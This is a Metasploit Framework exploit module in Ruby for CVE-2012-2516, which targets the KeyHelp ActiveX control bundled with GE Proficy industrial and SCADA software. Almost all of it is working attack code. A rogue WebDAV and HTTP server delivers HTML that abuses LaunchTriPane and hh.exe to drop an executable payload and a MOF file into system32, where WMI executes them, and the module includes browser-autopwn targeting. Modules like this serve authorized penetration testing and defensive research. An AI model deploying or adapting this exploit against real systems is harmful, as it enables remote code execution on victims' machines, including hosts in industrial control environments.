##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpServer::HTML
	include Msf::Exploit::EXE
	include Msf::Exploit::WbemExec

	include Msf::Exploit::Remote::BrowserAutopwn
	autopwn_info({
		:os_name    => OperatingSystems::WINDOWS,
		:ua_name    => HttpClients::IE,
		:javascript => true,
		:rank       => NormalRanking,
		:classid    => "{45E66957-2932-432A-A156-31503DF0A681}",
		:method     => "LaunchTriPane",
	})

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'KeyHelp ActiveX LaunchTriPane Remote Code Execution Vulnerability',
			'Description'    => %q{
					This module exploits a code execution vulnerability in the KeyScript ActiveX
				control from keyhelp.ocx. It is packaged in several products or GE, such as
				Proficy Historian 4.5, 4.0, 3.5, and 3.1, Proficy HMI/SCADA 5.1 and 5.0, Proficy
				Pulse 1.0, Proficy Batch Execution 5.6, and SI7 I/O Driver between 7.20 and 7.42.
				When the control is installed with these products, the function "LaunchTriPane"
				will use ShellExecute to launch "hh.exe", with user controlled data as parameters.
				Because of this, the "-decompile" option can be abused to write arbitrary files on
				the remote system.

					Code execution can be achieved by first uploading the payload to the remote
				machine, and then upload another mof file, which enables Windows Management
				Instrumentation service to execute it. Please note that this module currently only
				works for Windows before Vista.

				On the other hand, the target host must have the WebClient service (WebDAV
				Mini-Redirector) enabled. It is enabled and automatically started by default on
				Windows XP SP3
			},
			'Author'         =>
				[
					'rgod <rgod[at]autistici.org>', # Vulnerability discovery
					'juan vazquez' # Metasploit module
				],
			'License'        => MSF_LICENSE,
			'References'     =>
				[
					[ 'CVE', '2012-2516' ],
					[ 'OSVDB', '83311' ],
					[ 'BID', '55265' ],
					[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-169/' ],
					[ 'URL', 'http://support.ge-ip.com/support/index?page=kbchannel&id=S:KB14863' ]
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'           => 2048,
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					#Windows before Vista because of the WBEM technique
					[ 'Automatic', { } ],
				],
			'DisclosureDate' => 'Jun 26 2012',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptPort.new('SRVPORT', [ true, "The daemon port to listen on", 80 ]),
				OptString.new('URIPATH', [ true, "The URI to use.", "/" ])
			], self.class)
	end

	def on_new_session(client)
		print_status("The exe payload (C:\\windows\\system32\\msfmsf.exe) and mof file (C:\\windows\\system32\\wbem\\mof\\good\\msfmsf.mof) must be removed manually.")
	end

	def auto_target(cli, request)
		agent = request.headers['User-Agent']

		ret = nil
		# Check for MSIE and/or WebDAV redirector requests
		if agent =~ /(Windows NT 5\.1|MiniRedir\/5\.1)/
			ret = targets[0]
		elsif agent =~ /(Windows NT 5\.2|MiniRedir\/5\.2)/
			ret = targets[0]
		elsif agent =~ /MSIE/
			ret = targets[0]
		else
			print_error("Unknown User-Agent: #{agent}")
		end

		ret
	end


	def on_request_uri(cli, request)

		mytarget = target
		if target.name == 'Automatic'
			mytarget = auto_target(cli, request)
			if (not mytarget)
				send_not_found(cli)
				return
			end
		end

		# If there is no subdirectory in the request, we need to redirect.
		if (request.uri == '/') or not (request.uri =~ /\/[^\/]+\//)
			if (request.uri == '/')
				subdir = '/' + rand_text_alphanumeric(8+rand(8)) + '/'
			else
				subdir = request.uri + '/'
			end
			print_status("Request for \"#{request.uri}\" does not contain a sub-directory, redirecting to #{subdir} ...")
			send_redirect(cli, subdir)
			return
		end

		# dispatch WebDAV requests based on method first
		case request.method
		when 'OPTIONS'
			process_options(cli, request, mytarget)

		when 'PROPFIND'
			process_propfind(cli, request, mytarget)

		when 'GET'
			process_get(cli, request, mytarget)

		when 'PUT'
			print_status("Sending 404 for PUT #{request.uri} ...")
			send_not_found(cli)

		else
			print_error("Unexpected request method encountered: #{request.method}")

		end

	end


	#
	# GET requests
	#
	def process_get(cli, request, target)

		print_status("Responding to GET request #{request.uri}")
		# dispatch based on extension
		if (request.uri =~ /\.chm$/i)
			#
			# CHM requests sent by IE and the WebDav Mini-Redirector
			#
			if request.uri =~ /#{@var_exe_name}/
				print_status("Sending CHM with payload")
				send_response(cli, @chm_payload, { 'Content-Type' => 'application/octet-stream' })
			elsif request.uri =~ /#{@var_mof_name}/
				print_status("Sending CHM with mof")
				send_response(cli, @chm_mof, { 'Content-Type' => 'application/octet-stream' })
			else
				send_not_found(cli)
			end
		else
			#
			# HTML requests sent by IE and Firefox
			#
			my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
			path = request.uri.gsub(/\//, '\\\\\\')
			payload_unc = '\\\\\\\\' + my_host + path + @var_exe_name + '.chm'
			mof_unc = '\\\\\\\\' + my_host + path + @var_mof_name + '.chm'
			print_status("Using #{payload_unc} for payload...")
			print_status("Using #{mof_unc} for the mof file...")

			html = <<-HTML
			<html>
			<body>
			<script>
			KeyScript = new ActiveXObject("KeyHelp.KeyScript");

			ChmPayloadFile = "-decompile C:\\\\WINDOWS\\\\system32\\\\ #{payload_unc}";
			ChmMofFile = "-decompile c:\\\\WINDOWS\\\\system32\\\\wbem\\\\mof\\\\ #{mof_unc}";

			KeyScript.LaunchTriPane(ChmPayloadFile);
			setTimeout('KeyScript.LaunchTriPane(ChmMofFile);',3000);
			</script>
			</body>
			</html>
			HTML

			html.gsub!(/\t\t\t/, '')

			print_status("Sending HTML page")
			send_response(cli, html)

		end
	end


	#
	# OPTIONS requests sent by the WebDav Mini-Redirector
	#
	def process_options(cli, request, target)
		print_status("Responding to WebDAV OPTIONS request")
		headers = {
			#'DASL'   => '<DAV:sql>',
			#'DAV'    => '1, 2',
			'Allow'  => 'OPTIONS, GET, PROPFIND',
			'Public' => 'OPTIONS, GET, PROPFIND'
		}
		send_response(cli, '', headers)
	end


	#
	# PROPFIND requests sent by the WebDav Mini-Redirector
	#
	def process_propfind(cli, request, target)
		path = request.uri
		print_status("Received WebDAV PROPFIND request")
		body = ''

		if (path =~ /\.chm/i)
			print_status("Sending CHM multistatus for #{path} ...")
			body = %Q|<?xml version="1.0"?>
<a:multistatus xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/" xmlns:c="xml:" xmlns:a="DAV:">
<a:response>
</a:response>
</a:multistatus>
|
		elsif (path =~ /\.manifest$/i) or (path =~ /\.config$/i) or (path =~ /\.exe/i)
			print_status("Sending 404 for #{path} ...")
			send_not_found(cli)
			return

		elsif (path =~ /\/$/) or (not path.sub('/', '').index('/'))
			# Response for anything else (generally just /)
			print_status("Sending directory multistatus for #{path} ...")
			body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype><D:collection/></lp1:resourcetype>
<lp1:creationdate>2010-02-26T17:07:12Z</lp1:creationdate>
<lp1:getlastmodified>Fri, 26 Feb 2010 17:07:12 GMT</lp1:getlastmodified>
<lp1:getetag>"39e0001-1000-4808c3ec95000"</lp1:getetag>
<D:lockdiscovery/>
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
</D:multistatus>
|

		else
			print_status("Sending 404 for #{path} ...")
			send_not_found(cli)
			return

		end

		# send the response
		resp = create_response(207, "Multi-Status")
		resp.body = body
		resp['Content-Type'] = 'text/xml'
		cli.send_response(resp)
	end

	def generate_payload_chm(data)
		path = File.join(Msf::Config.install_root, "data", "exploits", "CVE-2012-2516", "template_payload.chm")
		fd = File.open(path, "rb")
		chm = fd.read(fd.stat.size)
		fd.close
		chm << data
		chm
	end

	def generate_mof_chm(data)
		path = File.join(Msf::Config.install_root, "data", "exploits", "CVE-2012-2516", "template_mof.chm")
		fd = File.open(path, "rb")
		chm = fd.read(fd.stat.size)
		fd.close
		chm << data
		chm
	end

	#
	# When exploit is called, generate the chm contents
	#
	def exploit
		if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/'
			fail_with(Exploit::Failure::Unknown, 'Using WebDAV requires SRVPORT=80 and URIPATH=/')
		end

		@var_mof_name = rand_text_alpha(7)
		@var_exe_name = rand_text_alpha(7)
		payload_contents = generate_payload_exe
		mof_contents = generate_mof("msfmsf.mof", "msfmsf.exe")
		@chm_payload = generate_payload_chm(payload_contents)
		@chm_mof = generate_mof_chm(mof_contents)

		super
	end

end
